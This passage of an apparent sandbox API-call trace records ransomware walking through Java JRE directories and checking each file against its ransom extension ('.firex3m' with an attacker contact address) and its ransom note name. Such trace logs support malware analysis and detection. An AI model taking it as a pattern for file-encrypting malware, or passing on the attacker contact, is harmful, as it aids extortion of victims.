| out: pbstr=0x6ebeb40*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 1 [0118.427] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties", cchLength=0x47 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties") returned 0x47 [0118.427] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0118.427] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0118.427] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0118.427] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0118.427] GetProcessHeap () returned 0x630000 [0118.427] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ee7b8, Size=0x54) returned 0x68e0b8 [0118.427] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xd51, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_sv.properties", cAlternateFileName="ME0541~1.PRO")) returned 1 [0118.427] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 1 [0118.427] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties", cchLength=0x44 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 0x44 [0118.427] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0118.428] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0118.428] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0118.428] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0118.428] GetProcessHeap () returned 0x630000 [0118.428] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x68e0b8, Size=0x58) returned 0x68e4d8 [0118.428] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xfe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_zh_CN.properties", cAlternateFileName="ME40CD~1.PRO")) returned 1 [0118.428] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties", len=0x47 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 1 [0118.428] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties", cchLength=0x47 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties") returned 0x47 [0118.428] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0118.428] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0118.428] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0118.428] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0118.429] GetProcessHeap () returned 0x630000 [0118.429] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x68e4d8, Size=0x5c) returned 0x6e7db0 [0118.429] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_zh_HK.properties", cAlternateFileName="MEB8B5~1.PRO")) returned 1 [0118.429] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties", len=0x47 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 1 [0118.429] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties", cchLength=0x47 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties") returned 0x47 [0118.429] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0118.429] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0118.429] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0118.429] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0118.429] GetProcessHeap () returned 0x630000 [0118.429] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e7db0, Size=0x60) returned 0x6e7b40 [0118.429] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_zh_TW.properties", cAlternateFileName="MECC18~1.PRO")) returned 1 [0118.429] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties", len=0x47 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 1 [0118.430] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties", cchLength=0x47 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties") returned 0x47 [0118.430] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0118.430] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0118.430] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0118.430] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0118.430] GetProcessHeap () returned 0x630000 [0118.430] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e7b40, Size=0x64) returned 0x6977e0 [0118.430] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x218e, dwReserved0=0x0, dwReserved1=0x0, cFileName="splash.gif", cAlternateFileName="")) returned 1 [0118.430] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif", len=0x38 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 1 [0118.430] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif", cchLength=0x38 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 0x38 [0118.430] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0118.430] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0118.430] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0118.431] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0118.431] GetProcessHeap () returned 0x630000 [0118.431] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6977e0, Size=0x68) returned 0x697620 [0118.431] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3bac, dwReserved0=0x0, dwReserved1=0x0, cFileName="splash@2x.gif", cAlternateFileName="SPLASH~1.GIF")) returned 1 [0118.431] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif", len=0x3b | out: pbstr=0x6ebeb40*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 1 [0118.431] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif", cchLength=0x3b | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 0x3b [0118.431] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0118.431] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0118.431] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0118.431] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0118.431] GetProcessHeap () returned 0x630000 [0118.431] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x697620, Size=0x6c) returned 0x6ea3f0 [0118.431] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1e7d, dwReserved0=0x0, dwReserved1=0x0, cFileName="splash_11-lic.gif", cAlternateFileName="SPLASH~2.GIF")) returned 1 [0118.432] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif", len=0x3f | out: pbstr=0x6ebeb40*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 1 [0118.432] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif", cchLength=0x3f | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 0x3f [0118.432] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0118.432] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0118.432] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0118.432] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0118.432] GetProcessHeap () returned 0x630000 [0118.432] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ea3f0, Size=0x70) returned 0x6ea120 [0118.432] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2fda, dwReserved0=0x0, dwReserved1=0x0, cFileName="splash_11@2x-lic.gif", cAlternateFileName="SPLASH~3.GIF")) returned 1 [0118.432] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif", len=0x42 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 1 [0118.432] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif", cchLength=0x42 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 0x42 [0118.432] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0118.432] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0118.433] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0118.433] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0118.433] GetProcessHeap () returned 0x630000 [0118.433] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ea120, Size=0x74) returned 0x68ff78 [0118.433] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0118.433] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0118.433] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ed9405, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8ed9405, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa900a6f7, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4ce7de, dwReserved0=0x0, dwReserved1=0x0, cFileName="deploy.jar", cAlternateFileName="")) returned 1 [0118.433] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar", len=0x31 | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 1 [0118.433] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar", cchLength=0x31 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar") returned 0x31 [0118.433] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0118.434] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0118.434] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0118.434] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0118.434] GetProcessHeap () returned 0x630000 [0118.434] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x68ff78, Size=0x78) returned 0x690378 [0118.434] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa11bdb26, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xaa8ed01b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ext", cAlternateFileName="")) returned 1 [0118.434] SysReAllocStringLen (in: pbstr=0x6ebeb48*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\", len=0x2b | out: pbstr=0x6ebeb48*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\") returned 1 [0118.434] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\", cchLength=0x2b | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\") returned 0x2b [0118.434] SysReAllocStringLen (in: pbstr=0x6ebeaf0*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebeaf0*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0118.434] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0118.434] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\*.*", lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa11bdb26, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xaa8ed01b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d5340 [0118.441] FindNextFileW (in: hFindFile=0x6d5340, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa11bdb26, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xaa8ed01b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.441] FindNextFileW (in: hFindFile=0x6d5340, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9204e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b9204e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b9204e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2de78, dwReserved0=0x0, dwReserved1=0x0, cFileName="access-bridge-64.jar", cAlternateFileName="ACCESS~1.JAR")) returned 1 [0118.441] SysReAllocStringLen (in: pbstr=0x6ebeb40*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar", len=0x3f | out: pbstr=0x6ebeb40*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 1 [0118.441] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar", cchLength=0x3f | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 0x3f [0118.442] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0118.442] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0118.442] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0118.442] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0118.442] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdae4, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0118.442] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebdae0, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0118.442] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebe84c | out: lpFindFileData=0x6ebe84c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, 